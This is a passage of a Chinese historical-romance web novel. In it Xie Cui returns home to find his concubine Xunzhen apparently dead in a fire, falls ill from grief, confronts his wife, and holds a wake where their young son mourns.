谢漼昨晚不会真住在她的隔壁吧? 寻真有些好奇。 她做贼似的往两边望望,四下没人,便踮着脚快速溜进隔壁房间。 隔壁房间跟她们房间布局差不多,床也贴着墙,只是方向相反。 也就是说—— 她昨晚睡的那张床,跟隔壁间的,仅仅只隔了一面墙? 房间干净得让人眼前一亮,只有床褥留下微微褶皱的痕迹,寻真又去看了其他房间,就她隔壁这间最干净。 是……谢漼吗? 寻真迟疑着,伸出了手。 “……娘子?” 寻真被这突如其来的一声吓得一哆嗦,手一松,布枕掉到地上。 她转过头,与店小二四目相对。 店小二瞧着她,满脸惊愕,嘴巴张了张,眼中满是不可置信。 寻真连忙捡起布枕,拍了拍几乎不存在的灰尘,然后丢到床上,讪讪笑了笑。 因为过于尴尬,寻真根本想不出什么说辞来挽回一下自己的形象。 她直接跑了。 卯时,引儿跟寻真离开客栈,先后上了马车。 引儿疑惑地问:“……那店小二。” 寻真:“店小二怎了?” 引儿:“总用奇怪的眼神看我们……” 寻真耳根有点红,从包袱中拿出糕点,分给引儿,道:“别管他……那家店的东西太难吃,先吃点垫垫肚子,等到了镇上,再吃好的。” 寻真昨晚没睡好,车马颠簸间,困意阵阵袭来,不知不觉便睡着了。 店小二正在大堂擦拭桌椅,掌柜的算完最后一笔账,合上账本,忽然压低声音,脸上带着几分八卦,道:“嘿……方才刚走的那位公子,你可记得?……我在这多年,可从未见过生得那般俊的。那气质,那派头,啧啧……一看便非凡俗。听他口音,似是往东都去的,莫不是哪家公侯府里的少爷?” 店小二本就憋了一肚的话,方才客人还未走,便不好嚼这舌根,此刻再也按捺不住,随手扔下手中抹布。 他朝柜台走去,道:“掌柜的,我方才瞧见了一件了不得的事儿……” 掌柜问:“可是跟那公子有关?” 店小二连连点头,凑到掌柜耳边,声音极小地说:“我刚才上去收拾屋子,你猜我瞧见了什么?……刚走的那两位娘子中的一个,竟然拿起那公子睡过的枕头,放在鼻子跟前闻呢!”说完,不住地咂嘴,“看这两个娘子的做派,应是从京都来的……都说京都文风昌盛,女子多文雅、端庄守礼,今儿个竟碰上这般奔放的女子,当真是开了眼!” 掌柜:“那两位娘子看着皆是守礼之人,怎会做出你说的这等荒唐事?你可莫要胡编乱造,坏了娘子的清誉。” 店小二脸涨红,跺脚说道:“我怎会编排这等事?我当时就在那房里,亲眼所见,看得真真儿的!” 无论店小二如何信誓旦旦,掌柜的始终不相信他的话。 虽这店偏,但来来往往的客人也见过不少,若是男子有此等怪癖,做出这种事,店小二倒能理解,可亲眼见到女子这般行为,他当时惊得目瞪口呆,还以为自己看错。 心中只叹,天下之大,真是无奇不有,什么样的女子都有。 谢漼一行人一路从濠州归京,日夜兼程,只用了七日便到了京都。 正午时分。 谢漼自马上跃下,抬手解下马鞍旁的马褡子,从中取出一个朱漆方匣。 匣子里装着一些精致的小玩意儿,是他在归途中,经过集市时,在一个不起眼的摊位上发现的。 摊上卖的是陶制的手工艺品,给小儿玩耍之物,谢漼便给谢璋挑了几样,又想起寻真,她说不定也会对这些小玩意儿感兴趣,便买了许多。 谢漼手持方匣,往府中走去,一路向西。 府中的家仆们见他归来,一个个神色各异。 因谢漼一连赶路了七天,身体疲惫,心中又挂念着人,脚步匆匆,便未留意到家仆们异样的神情。 行至半途,谢漼似是突然想起什么,脚步顿住,朝西边望去。 倒是忘了。 自寅时便策马启程,一路上风沙漫天,烈日高悬,酷热难耐,早已汗湿重衣。 贴近了闻,定是能闻到些许异味。 这般模样,如何能见真儿? 还是先沐浴更衣,再过去。 想至此,谢漼转身,朝着静远居走去。 谢漼归来的消息很快传到承安耳中。 承安赶到院中。 喘着气,正好追上谢漼。 “……爷。” 二人立在静远居院门口。 谢漼抬眸,望向承安。 见承安形容憔悴,面色如土,眉眼间聚着浓重的阴霾,整个人萎靡不振,毫无生气。 谢漼便问:“府中发生了何事?” 承安张了张嘴,喉间干涩,似是被烟火熏了般,发不出一丝声响。 爷将他留在府中,不就是让他护住姨娘吗? 可姨娘…… 谢漼见他这般模样,并不追问,往里看去,院中正在清扫的仆人们,纷纷停下手中活计,朝他看来,目光中满是异色。 谢漼心中陡然涌起一股不祥的预感,再看向承安,谢漼额上隐隐浮现一层汗珠。 声音便重了些:“府中到底发生何事?” 承安眼中泛起泪光,“扑通”一声跪地,垂着头,哽咽道,“爷,姨娘、姨娘——” 谢漼俯视他,语气分外冷沉:“她怎了?抬起头来,看着我说。” 承安抬起头,对上谢漼冰凉的目光,吓得浑身一颤,喉咙里发出的声音微弱得几乎听不见:“姨娘……” “没了”二字还未说出口,谢漼已转身,疾步离去。 承安直愣愣地跪在地上,好一会儿,一旁的男仆将他拉起,他这才如梦初醒,双手撑地,起身。 双腿麻了麻,承安一个踉跄,差点摔倒。 谢漼越走越快,逐渐消失在承安的视野中。 承安深吸一口气,顾不上腿上的不适,抬腿便追。 从静远居到清挽院,若慢行,需一刻。 谢漼此刻大步疾行,约半刻就能到。 远远地,谢漼转过一处弯道,站在小径上,看见那一处焦黑的院子。 这一瞬,脑中轰然作响,一片空白,整个人定住,好似被抽去了脊梁,动弹不得。 他几乎不知道自己是如何走到院中的。 周围一片死寂,这座曾经那么鲜活的屋子如今被烧得面目全非。 还有…… 尸臭味。 谢漼这一年多在濠州救灾,闻多了这味道,一瞬便辨别出来。门虚掩着,谢漼一直盯着那处,却没有抬步走过去。 万箭穿心,不过如此。 正午的阳光很烈,这一刹,照得他眼前出现重影。 他好似产生了幻觉。 恍惚间,看到有人打开那扇焦黑的门,朝他奔来。 真儿,我回来了。 谢漼张开了手臂,感受到那虚影撞到身上。 那重量已到了身体无法承受的极限。 谢漼被撞得朝后仰去。 心脏感受到一种前所未有的剧痛。 里面的某一处,正剧烈地抽搐着。 方匣坠地,那里面的陶制玩偶一个个落下来,摔得粉碎。 承安看到谢漼朝后仰倒,吓得当场出了一背的冷汗。 后脑着了地,那可就完了。 他几乎是飞一般的速度冲过去,以身当肉盾,将谢漼接住了。 承安大喘了口气,把谢漼放在平地上。 见谢漼口中溢出血丝,承安高声唤道。 “爷——!” “爷——!” 无论他如何拍打,谢漼都没醒过来。 承安赶紧让人去请大夫,再将这事告诉谢二爷。 谢二爷知道后,急忙着人去请太医,然后回府。 谢彦成跨入卧房,见谢漼赤着上身躺着,神志不清,大夫正在为他施针。谢彦成走进了看。 谢漼面色苍白,毫无血色。 一刻后,大夫施针结束,抹了把额上的汗,给谢彦成行礼。 谢彦成问道:“大夫,我侄儿情况如何 ?” 大夫:“已护住心脉,暂时无碍了,只是草民医术不精,大人所患,怕是‘胸痹’,此症十分凶险,实在不敢说有十足把握能治好。” 郎中话音刚落,小厮便引着两位太医进来。 谢彦成让这郎中将谢漼的病情详细告知两位太医。 三位医者围坐一处,商讨起来。他们神色皆凝重。 许久,其中一位年长的太医站起身来,对谢二爷道:“博士这心疾,确实极为凶险。幸而这位大夫及时护住心脉,否则,就算大罗神仙来了,也无力回天。” 之后,三人又就药方展开讨论。反复斟酌每一味药材的用量,最终定下药方,马上让人去煎。 “若能熬过今晚,便没事了。” 谢彦成总算放心了,给三位行礼:“有劳了。” 三位忙又回礼。 其中一位老太医问道:“未曾听闻博士有心疾,这是发生何事,才致使他情志失调,心脉梗阻?” 谢彦成叹气,道:“只是我侄儿一爱妾,意外身故,他一时伤心过度,这才……” 原来如此。 三人心叹,竟是因妾室过世而如此,当真是痴情。 谢彦成便安排这三位在院中住下,回了房,始终放不下心,又回去看了一次,太医正翻开眼皮、嘴唇,一一查看。 谢彦成见谢漼牙关紧咬,即便闭着目,也能看出脸上掩饰不住的哀色。 似乎完全没了生存意志。 谢彦成倒是从没想过,那柳氏竟能影响他至此。 竟都不想活了么? 谢彦成踏着夜色而归,孙宜也还没睡,关心问道:“如何?” “……只要熬过今晚便好。” 孙宜:“有张公在,缮之定能没事,你也别太担心了,早些歇下吧。” 谢彦成:“……但愿如此。” 谢漼夜里起了高热,三人又是一番讨论,最后决定直接下一济猛药,先不论会不会对身体产生永久性损伤,但至少先将人从鬼门关拉回来才是。 灌了药之后,到破晓时分,谢漼的烧退了。 三人查看之后,嘱咐仆人盯着,若再有情况,再叫他们过来。 承安守在床边。 张太医说,谢漼大概很快便会醒了。 承安见谢漼缓缓睁开眼,正要去喊太医,却见谢漼张开了嘴,嘴唇蠕动着,似是要对他说什么,承安凑过去,只听到谢漼缓慢又沙哑的声音。 那眼半阖着,覆着一层水雾。 “真儿……” “真儿……” 张太医说不能刺激爷,便是骗,也要先将人稳住了,承安便什么都没有说,径直走了出去,谢漼又说了两个字,模糊不清。 承安走到门口,才辨出那两字。 别走- 谢漼在床上躺了两日两夜,终于在第三日的中午清醒过来。 张太医检查过后,道大概没问题了,离开前嘱咐,莫要再提伤心事,若谢漼问了,至少在未来十日内瞒过去。 承安只觉难办,这怎么瞒? 爷虽未看见尸首,可都看见了那烧焦的屋子。 谢二爷想了个法子,若谢漼问起,便先骗他说,屋子虽烧了,人却没事,只是先让柳氏般到府外。 能瞒一日是一日。眼下谢漼还病着,应不会执意要去府外看柳氏。 午后,谢漼甚至起身,写起了公文,承安上前劝了几句,谢漼只淡淡道:“无妨。” 承安见谢漼又恢复了往日的模样,沉稳冷静,好像什么事都没发生的样子,也没主动问起柳姨娘。 承安便也没机会说出那套说辞。 想起太医的嘱托,承安怕谢漼虽表面若无其事,但心中郁结,便还是硬着头皮开口了。 “爷……姨娘她——” 谢漼停下了笔,却没有朝他看去,语气也十分平静地问道:“她怎了?” 承安:“前些日子,姨娘院中失了火,虽火势很大,还好……及时发现了,无人伤亡,如今姨娘已被二爷安置好了,在府外避暑呢,过些时日便回来……姨娘、姨娘,还不知您回来了,我昨日已传信过去了……” 谢漼应了一声,面色淡淡。 承安瞅着谢漼的神色。 这是……信了? 承安退出房后,忙去报信了。 第100章 第100章“打开” 此时,谢璋还不知道谢漼已经回来了。 谢璋捧着书,却看不进去,眼神游离。右桌角放了个石榴,还是青的,青黑的表皮褶皱蜷缩,往里瘪进去,看上去水分已完全没了。 谢璋呆呆地盯着看,孙宜进来了。 “恒哥儿。” “……伯祖母。” 孙宜进来便闻见了一股酸臭的腐朽气息,一扫,目光定在桌上的石榴上。 孙宜听碧珠、翠玉提过,谢璋摆在桌上的石榴早就烂得臭了,她们想扔,谢璋一直不让。 孙宜问:“恒哥儿,这石榴怕是放了快一月了吧?” 谢璋嗯了一声。 “你可有闻到这气味?”谢璋默不作声,孙宜便继续说,“这石榴想必是过早自树上摘下,再放多久,都不会熟了,如今已有腐味,近日又这般热,再放下去便要彻底烂坏发臭了。” “伯祖母这便叫人丢了?” 谢璋盯着青石榴,抿了抿唇。 孙宜便当他默认,抬手唤人。翠玉取来一块帕子,将石榴裹起来,拿出去了。 谢璋的目光一直追随着翠玉。 孙宜心想,莫不是恒哥儿诓了她,这石榴,当真是柳氏院里种的? 不过事到如今,是不是也不重要了。 谢璋开口了:“伯祖母,已六日了,刺客还未抓到吗?” 孙宜语塞。 谢漼突发心疾,病情危急,救了两日,才堪堪稳住,眼下还需骗着,待好全了再告诉他真相。 大的都这样了,更别说小的。 自然不能说。 还是,等谢漼好转,再由他亲口告知恒哥儿吧。 孙宜看着空荡荡的桌角:“还未。等抓到刺客,伯祖母定即刻让人告诉你。恒哥儿,再忍耐些时日,好不好?” 谢璋嗯了一声。 孙宜昨日同谢彦成商议,柳氏的尸首不能再这么放下去了。谢漼此次心疾凶险,便只能委屈了柳氏,一切从简办了。 孙宜今日便着手操持丧事。明日,将柳氏迁至祠堂的偏房,因不能让谢漼知晓,故禁人吊唁,停灵三日,再入殓。 至于墓地,孙宜亦已选定。 谢氏一门,向来有专门划分出来安置妾室的葬地,其中一片区域,是为孙辈妾室预留的,眼下基本都空着,孙宜从中挑了一处风水最好的。 至于陪葬,就把柳氏院子里的东西都放进去,柳氏生前,谢漼送了不少,几乎是得了好物便巴巴地送过去了。孙宜也有所耳闻。 若还不够,再另行添补便是。 孙宜安排好,吩咐下去。 翌日,便命人前往清挽院。焦尸已放了六日,尽管周围摆满了冰块,尸体上涂抹了大量水银、朱砂,房内还焚烧着麝香,但还是阻止不了尸首的腐坏。 如今味道已有些重了。 家仆脸上皆裹着白布,将尸首放入特制的木匣中,匣内事先涂抹了防腐、驱虫的草药汁液,待尸首放入,密封起来,腐臭味便被隔在里面。 至于另一具尸体,孙宜也吩咐了,予以薄葬,将尸体一同搬至祠堂偏房暂时停放,与柳氏一道下葬,之后便葬于仆役墓地。 承安端着汤药进屋,见谢漼今日早早醒了,着一袭素白长袍,正立在案边,提笔书写。 谢漼身姿清瘦,袖袍在微风中轻轻飘动,显得格外空荡。 短短三日,竟瘦了这么多。 承安过去,将药放在案边,不经意间瞥见谢漼笔下的字,那字笔势凌乱,章法失调。 承安垂头候在一旁。 谢漼搁下了笔,将药一饮而尽,然后抬手,为自己把脉,片刻后,他望向窗外。 那声音仿佛是 从天际飘来的,虚浮渺茫。 “尸首如今放在何处?” 承安一时反应不及。 谢漼也未催促,只伫立不动,望着外面。 许久,承安才找回自己的声音,结结巴巴地回:“二、二夫人已安排好了,姨、姨娘今日便要被送去祠堂了。” 谢漼颔首,沉默片刻,抬步朝外走去。 谢漼到时,两名男仆正将装着焦尸的木匣用绳子绑好,准备扛起。 “五、五公子。” 那二人惊慌失措。 承安瞅了一眼谢漼,然后示意那二人放下。沉重的木匣落地,发出沉闷的声响。 谢漼垂眸,目光落在封闭的匣子上。 轻声道:“打开。” 木匣打开,一股浓烈的腐臭之气扑面而来。焦尸四肢扭曲,身体蜷缩,骨骼裸露在外,大部分地方都开始腐败。 谢漼的身形陡然一僵,呼吸瞬间停滞,须臾,目光移向旁边,那里同样横着一具焦尸,烧得更为严重。以目测,两具尸体的身高略有差异。 谢漼:“哪个是她?” 承安见谢漼的神色平静得有些可怕。 承安干咽了一口,上前,站在那灵匣边上,然后又指向里面的那具:“这……便是姨娘了,另一个,是姨娘的贴身侍婢引儿。” 谢漼:“如何确定?” 承安斟酌着用词:“是因……那日小的救火时,火势稍稍小了些,便推开了门,姨娘、姨娘是倒在门口的……而另一具,是将火全扑灭时,在屋里头发现的……院中丫鬟只引儿不在,而引儿又比姨娘稍高些,便确定了……” “还有……”承安从灵匣中拿出一支宝石金簪,“那时推开门,姨娘身上还掉下了这支簪子。” 谢漼盯了一会,久久不语,随后他缓缓走上前,将那簪子拿在手中。 然后让承安出去。 承安在门前候着,竖起耳朵,时刻留意着屋内的动静,以防有任何变故,能第一时间冲进去。 谢漼攥着簪子,往房里望进去。 满目疮痍。 看着看着,眼前却浮现了,这屋子还未被烧毁的模样。 谢漼视线突然定格在一处,眼前骤然清晰起来。 手一用力,流霞簪的尾部刺破掌心,鲜血涌出,而他却仿若毫无知觉,脚步踉跄地走到了门前,手掌按上那被烧得碳化的门。 随着他的触碰,门上的焦木碎屑纷纷坠落。 谢漼的目光死死地凝在门上一处。 他将两扇门合上,门的最下面,抓痕赫然入目。 一道道直劈而下,深深嵌入门中,那是用了多大的力道,才会留下这般触目惊心的痕迹。 屋内弥漫着浓重的香料味。 谢漼头晕目眩,几欲呕吐。 谢漼又转头,向那焦尸望去。 两只手臂、两双手都以极其惨烈的角度弯折着。 只听“砰”的一声巨响。 承安闻声,立刻推开房门,冲了进去。 见谢漼跪在门前,左手抓着门板,腕间青筋暴起,额头抵在门上,大口大口地用力喘着气,似乎不这样,便要窒息。 谢漼那眼睛,覆满了血色。 “……爷。” 承安蹲下身,欲扶起谢漼,却被他用力推开。 谢漼趔趄了几步,叮当一声,簪子掉在地上,承安看去。 怎……有血? 再看向谢漼,见他右手鲜血淋漓,掌心破了一个小洞,正汩汩地向下淌着血。 承安再次伸手,又被谢漼推开。 承安对上谢漼的目光,身子颤了颤。 谢漼目眦欲裂,眼中汹涌着无尽的恨意。 疾步出了门。 承安低下头,这才发现那门下一道道抓痕。 心里又是一颤,小跑出去,紧紧跟在谢漼身后。 谢璋坐在庭院中的石桌前,手捧着一本书,心不在焉,不时地望向院门口,他能感觉到,身后丫鬟们一直盯着他。 谢璋估算着距离与速度,若从这里开始跑,没到门口,便会被抓住了。 她们,究竟在瞒着他什么? 谢璋放下书,朝院门走去,他一过去,碧珠和翠玉二人便跟了上来,神色紧张,如临大敌。 谢璋指了指一旁的花丛,道:“我不过是来赏花,并无出去的打算。” 两丫鬟应了声,没回去,跟在他身后。 谢璋又道:“你们离我这般近,叫我如何专心赏花?我知你们是担心我跑出去,可我既知外面有刺客,岂会不顾自身安危?” 难得听谢璋对她们说这么多话,且神色认真,语气诚恳。 两丫鬟对视一眼,犹豫片刻,退到了走廊那边。 谢璋佯装在院门口的花畦处赏花,不时挪动步子,弯腰捏着花看。 两丫鬟眼睛盯着,身体慢慢松驰下来。 大约过了一刻,谢璋瞅准时机,撒开腿,跑了出去。 碧珠、翠玉二人脑中神经一瞬便绷断了,心中只道,完了。 碧珠:“快、快追!” 碧珠翠玉二人朝着谢璋追去,谢璋跑得极快,身形灵活,在仆人间左冲右突。那些不是二夫人院中之人,便不好叫他们帮忙一道拦住谢璋。 二人被谢璋甩开了一大段距离,追着追着,发现这方向是往清挽院去的。 二人心中叫苦不迭,恒哥儿怎这般聪慧! 不仅猜出她们瞒骗了他,还猜出瞒他之事与柳氏有关。 谢璋跑到一半,脚步忽地顿住。 仰头望向前方之人。 “……爹。” 谢璋低低地唤了一声。 爹是何时来的,他怎半点都不知情? 谢璋正要跑向谢漼,高声唤,目光却凝在谢漼右手手掌上,那手正不断地往下淌着血。 再看谢漼神色,陌生得都不像是他爹了。 而谢漼却好似完全没看到谢璋,疾步朝另一方向走去。 谢璋看了一眼谢漼来的方向,迟疑了下,跟上了谢漼。 此时,翠玉眼疾手快,一把抓住了谢璋:“恒哥儿、恒哥儿外面危险,还是快快随奴婢回去吧!” 两位丫鬟虽也看到了谢漼,震惊不已,但仍牢记自己的任务,企图将谢璋抱回去。 谢璋冷冷地,看向两丫鬟:“别碰我。” 那眼神,让两丫鬟晃了晃神,还以为看到了谢漼。 两丫鬟被吓住了,没再阻止谢璋。 而是跟在谢璋后面。 等到了,两丫鬟对视一眼,交换目光。 这是……惠宁院。 谢漼回来那日,闹出的阵仗实在太大,整个府中都传遍了。说是五公子得知柳姨娘死讯,伤心过度,竟差点心阻而亡,还好二爷及时从宫中请来了张国手,这才将谢漼从鬼门关拉了回来。 此事自然也传到了惠宁院。 “嬷嬷,你去打听打听,夫君现在情况如何了?” “是。” 宋嬷嬷刚出正房的门,便见谢漼神色冷峻,直直地朝这边疾步而来,右手淌血,眸中寒芒迸射,似利剑一般,周身散发着一股让人胆寒的气息。 宋嬷嬷何曾见过谢漼这般模样,呆立原地,连礼都未行。 谢漼越过宋嬷嬷进了屋。 吕令萱看见谢漼,心震了震,接着便看到谢漼染血的右手:“……夫君,你怎——” 谢漼:“是你做的?” 吕令萱自然知道谢漼问的是什么。看见他这般容态,心中不禁涌起一股恨意。 为何夫君对她如此冷漠,让她独守六年空闺。 毕竟,她才是他谢漼名正言顺的妻子不是吗? 他将所有宠爱都给了柳氏。 却从不愿多看她一眼。 若他能对自己有一丝怜爱,吕令萱也不是不能做一个大度的正室。 可从成婚至今,谢漼竟连碰都不愿碰她一下。 厌弃她至此。 如何不让她嫉妒成狂? 现在,全府上下皆知,夫君为那柳氏悲痛欲绝,差点随她而去。 她吕令萱,彻彻底底成了个笑话。 吕令萱看向谢漼,眼中竟透出几分癫狂之色,唇角勾起弧度:“夫君聪慧过人,想来——” 话还未说完,吕令萱的喉咙便被扼住了,正是谢漼那只带血的手。 血沿着吕令萱的脖颈淌下,晕染出一片刺目的红,看上去尤为骇人。 那手越收越紧,吕令萱因窒息感,脸涨红了,她仰头看着谢漼,眼神却痴迷起来。 她的双手抓住了谢漼的手腕。 这是夫君第一次碰她。 谢璋跑进了房内,碧珠、翠玉二人看到屋内的景象,惊愕地睁大眼。 就在吕令萱快要因缺氧晕厥之时,谢漼松开了她。吕令萱软倒在地,捂着脖子,大口喘气。 谢漼转身,朝门口走去,谢璋唤了一声:“爹。” 谢漼却好似完全没听见,没看见,直接绕过了几人,朝外走去。 承安鼓起勇气,拦在谢漼面前:“爷,您的手……还是先包扎一下吧?” 谢漼的神志恢复了些许清明,只道:“那日,都发生了什么,你都事无巨细讲来。” 谢漼往静远居走去,承安跟在一旁,将目前为止的调查情况都告诉谢漼。 谢漼静静地听着,进了院之后,吩咐小厮拿伤药和绷带。 书房内。 承安已为谢漼裹好了右手。谢漼年幼时练字,急于求成,曾负重吊着手腕练字,伤了右手,那时便用左手代替,因此,左手虽没右手写的好,也算端正。 谢漼一边问他,一边一心二用在纸上写字。 “还未找到那二人?” 承安:“是。已都翻遍了,二爷也派了不少人,就连城中乞丐常栖的破庙、桥洞等地都仔细搜过了……那二人极有可能已逃出京都了。” 谢漼写完一页,递给承安,吩咐道:“半个时辰内安排好。” 承安目光一扫,纸上罗列着灵堂布置用品,诸如灵帐、灵牌、香烛,还有祭祀贡品,以及丧葬用品。 承安应下,退出前,又看了眼谢漼。 爷此刻,情绪看似稳定下来,那眸子深处却隐隐涌动着什么,被他强行压制住了。 承安看着手中这份事无巨细、毫无错漏的安排,喉咙仿佛被什么堵住了。 双眼泛红,闪出了泪光。 爷心疾未愈,几乎是拖着病体在强撑着操办。 太医特意叮嘱过,未痊愈前,切不可劳心伤神,务必静心调养。 可谢漼这副模样,承安亦说不出半句劝阻的话。 爷这是,提着一口气,要为姨娘办好身后事。 承安拿着那张纸退下,将任务分发到各个仆人手中。 物品备齐了,便立刻去祠堂偏房布置灵堂,又去告诉二夫人,柳姨娘的身后事,谢漼亲自安排,便不劳烦夫人了。 孙宜亦是一惊:“缮之已知晓了?” 承安点头:“爷都知晓了。” 孙宜:“他现在情况如何,身子可还好?” 承安暂且替谢漼隐瞒他异常之处,只说谢漼已接受了事实,瞧着也很冷静,便不好再劳烦孙宜操持此事。 孙宜:“这怎算劳烦?你回去告诉缮之,若是身子吃不消了,莫要硬撑,尽管来找我便是。” 承安应下。 不多时,丫鬟来禀,说是谢漼来了,直接去了谢璋房里。 孙宜愣了愣,以往侄儿最是注重礼节,若是来看谢璋,定会先前来向长辈请安问好,何曾这般一声不吭就直接过去了? 孙宜出了门,远远便瞧见谢漼进了谢璋房中。 谢璋心烦意乱,方才谢漼对他视若无睹,他一下子就呆住了,便由丫鬟将自己抱了回来。 此刻,他拿着毛笔在纸上乱涂乱画。 听见脚步声,他抬起头来,看见谢漼。 “……爹。”【魔蝎小说 mo xie xs .c om】 100-110 第101章 第101章“跪下” 谢漼却没有像往常那般回应他,只是上前将他抱起。 谢璋仰起头,望向谢漼,见他下颌线条紧绷,神色冷峻如霜,一路走得很快,谢璋朝后看去,瞧见孙宜立在廊中,脸上布着忧虑,追随着他们。 一路上,迎着仆人们异样的目光。 谢漼抱着他,来到一处房间。 门口高挑着白色灯笼,屋里很暗,点了白烛,烛火幽幽的,谢璋心底无端蹿起一股寒意,进屋,四周悬挂着的白色幔帐,正缓缓飘动着。 中央摆着一个大匣子,前面的桌上,放了许多瓜果点心。 还有一块牌子。 这个地方好奇怪。 爹带他来这里做什么? 谢漼凝视着前方,久久沉默不语。 不知想了什么。 谢漼把谢璋放下,俯视着他,只吐出两个字:“跪下。” 谢璋不解地仰头看谢漼。 谢漼:“恒哥儿,你娘已辞世。” “跪下,给你娘磕个头。” 谢璋呆立原地,看桌上的木牌,上面写着几字—— 故柳寻真之灵位。 “辞世”,这个词谢璋曾在书中读到过,辞世长眠,魂归幽冥。 爹的意思是,娘死了吗? 谢璋有一瞬间是完全懵的,死亡是什么? 他才五岁,从未亲眼见过。 虽然从书中读到过,却一直懵懵懂懂,对死亡一事的认知极为模糊。 所以乍一听到谢漼的话,他一时之间根本反应不过来。 只是看看那灵位,又看看谢漼。 他那双大眼睛里满是茫然,还夹杂着几分不知所措,问道:“爹,真儿在哪里?” 谢漼俯视着他,眼眸死寂一片,道:“到如今,恒哥儿都还不愿认你娘?” 他没等谢璋回答,径直将他抱起,走到木匣旁,单手推开了盖子。 一股腐臭气息扑面而来。 谢漼语气平淡,道:“可看到了?” 给谢璋看了一眼,谢漼就将他放下,重新推上盖子。 谢璋像是被吓傻了,垂着眼,死死盯着地面,好一会儿,然后一声不吭跑了出去。承安在门口,亦是看傻了眼。 爷怎能给五岁小孩看这个? 那焦尸的可怖模样,纵是成年男子见了,都难免心底发怵,恒哥儿年纪这样小,若受了惊吓,定会生病的。 承安跟上谢璋的脚步,一路追到了清挽院。 小小的身影一瞧见那焦黑院子,便僵住了,背影写满了难以置信。 谢璋呆立一会,猛地加速,朝着院子冲了进去,承安跟着,看着他冲进了房门。 承安并未阻拦,不多时,谢璋出来了。 他神情呆滞,丢了魂似的。 承安轻声唤道:“恒哥儿,恒哥儿……” 谢璋没有回应,慢慢地走着,走回了灵堂。 谢璋仰头望向灵匣。 真儿被装在那里面。 她永远闭上了眼睛,再也不会睁开眼来看他了…… 谢璋望了望四周,搬来一个绣墩,放到木匣边,踩着绣墩,双手使劲推着盖子,企图将它推开,尽管使出了浑身力气,却始终未能成功。 谢漼往谢璋的方向看了一眼,并没有帮他。 谢璋将桌上中央的木牌拿了下来。 小手擦了擦上面的灰,看着牌上的字,大眼睛里泛起了水光。 小 男孩抱着木牌,默默走到角落,坐下,小小的身体蜷缩起来,窝成了一团。冰凉的液体一滴一滴坠下,砸在牌面上。 娘。 他在心底唤了一声。 小男孩的脸埋进去,小小地啜泣,肩膀抽动着。 到后面,幅度越来越大,再也抑制不住。 嚎啕大哭。 他没娘了- 月兰今日回府,背个包袱往清挽院走去,迎面碰见瑞宝康顺二人。从二人口中得知寻真和引儿的死讯,连忙朝着祠堂奔去。 走到门口,脚步慢了下来,包袱“啪”的一声掉在地上。 谢漼靠墙坐在右边的地上,听到声响,却并未转头,只是无神地望着前方。 而左边的角落,窝着小小一团,正放声大哭。 月兰腿一软,摔在地上。 柳氏的尸首停在祠堂偏房守灵,这一消息,很快传到了谢府各个主子的耳中。 谢漼拒绝任何人祭拜。 谢彦成特意前去祭拜,却被拒之门外,回去后跟孙宜说:“缮之这是怨上我了。” 孙宜:“缮之如此作为,应是想着柳氏生前爱静,不愿她身后受尘世叨扰。” 谢彦成恨铁不成钢:“竟为一妇人将自个弄成这副模样,真是……溺于儿女情长,如何能成大事?若早知道他这么没出息……当初就不该让柳氏进门!” 孙宜:“夫君莫气,侄儿毕竟年轻,又与柳氏正是情浓之时,突然遭此变故,一时接受不了,也是人之常情。待时日一久,有了新人,自然而然便会淡忘了。” “我看他是被那柳氏迷了心窍!你是没瞧见他那样子。”谢彦成道,“能挺过这关,都算烧了高香了!” 容楣被解禁后,就很少出门了,整日呆在院中,二十六那日,她得知清挽院失火,出门去看了,看到清挽院的惨状,心中哀痛万分,落泪不止。 容楣在谢府已将近二十年,当下便觉得寻真之“死”恐怕有蹊跷,可容楣在谢府势孤力弱,毫无依仗,更无人手,纵有心帮忙,也无能为力。 便日日夜夜为寻真诵经祈福。 只盼她来世能托生到一个好人家。 容楣得知谢漼为寻真在祠堂开设了灵堂,便想去祭拜,可还没走到,被人拦下,那人只说,谢漼不让任何外人祭拜。 容楣手上拎着果篮,说:“能否向五公子通禀一声?我是容楣,寻真是我挚友,我只是想见寻真最后一面,来送送她。” 承安见此女满脸哀戚,双眸红肿,便应下了。 心想,谢漼拒绝他人祭拜,只是不想让那些不相干的人坏了姨娘的清净。心中若没有对逝者的敬意,即便来祭拜了,也是表面功夫。 但楣姨娘看起来与旁人不同,承安进去请示。 谢漼听到容楣的名字,神色微微一动,似乎是想起了什么。 之后便点头同意了。 容楣进来后,将果篮放到桌上,先上香,然后行祭拜之礼。 容楣拜完便起身准备离开,留意到小角落,有个小男孩捧着灵牌蜷缩在那里,一动不动,心想,这想必就是寻真之子,恒哥儿了。 又看了一眼谢漼,他身穿麻衣,席地而坐,烛光在他眸中闪动,双眼好似完全失去了神采,神思涣散,浑浑噩噩。 一旁,还跪着一个丫鬟。 容楣收回了目光,悄无声息离开了。 回去路上,容楣仰头看着炽烈的太阳,眸中渐渐泛起泪光。 人生无常。 寻真救了她的命,自己却意外身亡。 若可以,她真想把自己这条命换给她。 容楣走后,又来了一名女子,自称是寻真的好友,说是在谢进生辰宴上与她结识的。 因有容楣在前,承安便又进去请示,这次,却被谢漼拒绝了。 念芙只好把花篮放在院子里,对着灵堂拜了几拜,然后便离开了。 承安见她眼中一片赤诚,便拎着花篮再次问谢漼,谢漼同意后,承安将花篮放到桌上。 承安看着,爷虽每日也照常吃饭、喝水,但整个人的状态,明显很不正常。但更让人发愁的是恒哥儿,他不吃不喝,还哭晕了过去,怎么劝都不听。 最后是谢漼走过去,抱他起来,双手缓缓地将谢璋的泪擦干净,平静地对他说:“你若饿晕过去,接下来两日,便无法为你娘守灵。” 听到这话,谢璋放下了怀中的木牌,双手抹着眼睛,乖乖地去吃饭了。 陪葬品,除了谢漼以前送的,谢漼又额外添了一些。 对于寻真院里的资产,月兰最为清楚,到府的那日,她拜过寻真和引儿后,便去清挽院清点财物。清挽院失火之后,其他丫鬟都被分到了别处,月兰便叫来瑞宝他们一起帮忙清点。 因谢漼送的首饰,俱是价值连城的珍品,即便遭受烈火焚烧,都没怎么变,只是稍有损伤,还能通过外形轮廓分辨出来。 月兰一清点,便发现少了许多。 再去库房仔细清点,同样也有缺失。 月兰整理出两张单子,一张记录现存的财物,另一张罗列丢失或烧毁的物品。 所失财物,估约为千两黄金。 但丢失的数量实在太多,,三人瞬间便明白了。 瑞宝气得捏紧了拳头,咬牙切齿道:“这两个天杀的,竟偷了这么多,若抓住了,定要将她们千刀万剐!” 月兰红着眼睛,心中悔恨万分,若她还在,是不是便有可能救下姨娘和引儿了…… 傍晚,谢漼来看了。 月兰将整理好的清单给谢漼,如实禀告。 